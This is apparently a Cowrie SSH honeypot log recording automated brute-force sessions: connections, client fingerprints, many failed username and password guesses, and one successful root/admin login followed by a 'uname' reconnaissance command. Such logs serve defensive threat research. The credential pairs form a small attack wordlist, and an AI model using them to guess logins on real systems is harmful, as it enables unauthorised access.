{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":50982,"dst_ip":"159.203.135.109","dst_port":22,"session":"f65fb51fe098","protocol":"ssh","message":"New connection: 101.44.96.62:50982 (159.203.135.109:22) [session: f65fb51fe098]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:31:12.268596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:31:12.274389Z","src_ip":"101.44.96.62","session":"f65fb51fe098","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:31:12.491755Z","src_ip":"101.44.96.62","session":"f65fb51fe098","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"lighthouse123","message":"login attempt [lighthouse/lighthouse123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:31:13.141544Z","src_ip":"101.44.96.62","session":"f65fb51fe098","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:31:14.361648Z","src_ip":"101.44.96.62","session":"f65fb51fe098","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":19248,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9452990021d","protocol":"ssh","message":"New connection: 2.57.121.25:19248 (10.17.0.5:22) [session: f9452990021d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:31:19.748922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:31:19.754347Z","src_ip":"2.57.121.25","session":"f9452990021d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:31:19.854972Z","src_ip":"2.57.121.25","session":"f9452990021d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"mrbill","message":"login attempt [user/mrbill] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:31:20.332635Z","src_ip":"2.57.121.25","session":"f9452990021d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"motors","message":"login attempt [user/motors] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:31:21.436449Z","src_ip":"2.57.121.25","session":"f9452990021d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"motherfu","message":"login attempt [user/motherfu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:31:22.540246Z","src_ip":"2.57.121.25","session":"f9452990021d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"monsoon","message":"login attempt [user/monsoon] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:31:23.643610Z","src_ip":"2.57.121.25","session":"f9452990021d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"monkey2","message":"login attempt [user/monkey2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:31:24.747000Z","src_ip":"2.57.121.25","session":"f9452990021d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":56388,"dst_ip":"159.203.135.109","dst_port":22,"session":"fa6dd97c3ede","protocol":"ssh","message":"New connection: 101.44.96.62:56388 (159.203.135.109:22) [session: fa6dd97c3ede]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:31:25.802115Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:31:25.806495Z","src_ip":"101.44.96.62","session":"fa6dd97c3ede","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:31:25.850747Z","src_ip":"2.57.121.25","session":"f9452990021d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:31:26.022933Z","src_ip":"101.44.96.62","session":"fa6dd97c3ede","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"mysql123","message":"login attempt [mysql/mysql123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:31:26.673339Z","src_ip":"101.44.96.62","session":"fa6dd97c3ede","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:31:27.893776Z","src_ip":"101.44.96.62","session":"fa6dd97c3ede","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":40394,"dst_ip":"10.17.0.5","dst_port":22,"session":"8038b3721937","protocol":"ssh","message":"New connection: 2.57.122.238:40394 (10.17.0.5:22) [session: 8038b3721937]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:31:36.535266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:31:36.538812Z","src_ip":"2.57.122.238","session":"8038b3721937","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:31:36.639679Z","src_ip":"2.57.122.238","session":"8038b3721937","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:31:36.951015Z","src_ip":"2.57.122.238","session":"8038b3721937","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:31:38.054892Z","src_ip":"2.57.122.238","session":"8038b3721937","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":39850,"dst_ip":"159.203.135.109","dst_port":22,"session":"2f2db7a08292","protocol":"ssh","message":"New connection: 101.44.96.62:39850 (159.203.135.109:22) [session: 2f2db7a08292]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:31:39.316296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:31:39.320631Z","src_ip":"101.44.96.62","session":"2f2db7a08292","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:31:39.541538Z","src_ip":"101.44.96.62","session":"2f2db7a08292","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:31:40.197743Z","src_ip":"101.44.96.62","session":"2f2db7a08292","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:31:40.671948Z","src_ip":"101.44.96.62","session":"2f2db7a08292","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:31:40.675014Z","src_ip":"101.44.96.62","session":"2f2db7a08292","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:31:40.896754Z","src_ip":"101.44.96.62","session":"2f2db7a08292","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:31:40.901534Z","src_ip":"101.44.96.62","session":"2f2db7a08292","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":57078,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd07d4b5b033","protocol":"ssh","message":"New connection: 101.44.96.62:57078 (159.203.135.109:22) [session: fd07d4b5b033]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:31:52.856748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:31:52.861080Z","src_ip":"101.44.96.62","session":"fd07d4b5b033","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:31:53.077469Z","src_ip":"101.44.96.62","session":"fd07d4b5b033","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gpadmin","password":"gpadmin","message":"login attempt [gpadmin/gpadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:31:53.727268Z","src_ip":"101.44.96.62","session":"fd07d4b5b033","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:31:54.946536Z","src_ip":"101.44.96.62","session":"fd07d4b5b033","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":46872,"dst_ip":"159.203.135.109","dst_port":22,"session":"3030e37862b3","protocol":"ssh","message":"New connection: 101.44.96.62:46872 (159.203.135.109:22) [session: 3030e37862b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:32:06.274768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:32:06.279181Z","src_ip":"101.44.96.62","session":"3030e37862b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:32:06.573615Z","src_ip":"101.44.96.62","session":"3030e37862b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oracle","password":"qwe123","message":"login attempt [oracle/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:32:07.226909Z","src_ip":"101.44.96.62","session":"3030e37862b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:32:08.447035Z","src_ip":"101.44.96.62","session":"3030e37862b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.44.96.62","src_port":59128,"dst_ip":"159.203.135.109","dst_port":22,"session":"2fcd0230cf80","protocol":"ssh","message":"New connection: 101.44.96.62:59128 (159.203.135.109:22) [session: 2fcd0230cf80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:32:19.735803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:32:19.740395Z","src_ip":"101.44.96.62","session":"2fcd0230cf80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T15:32:19.957366Z","src_ip":"101.44.96.62","session":"2fcd0230cf80","protocol":"ssh"}
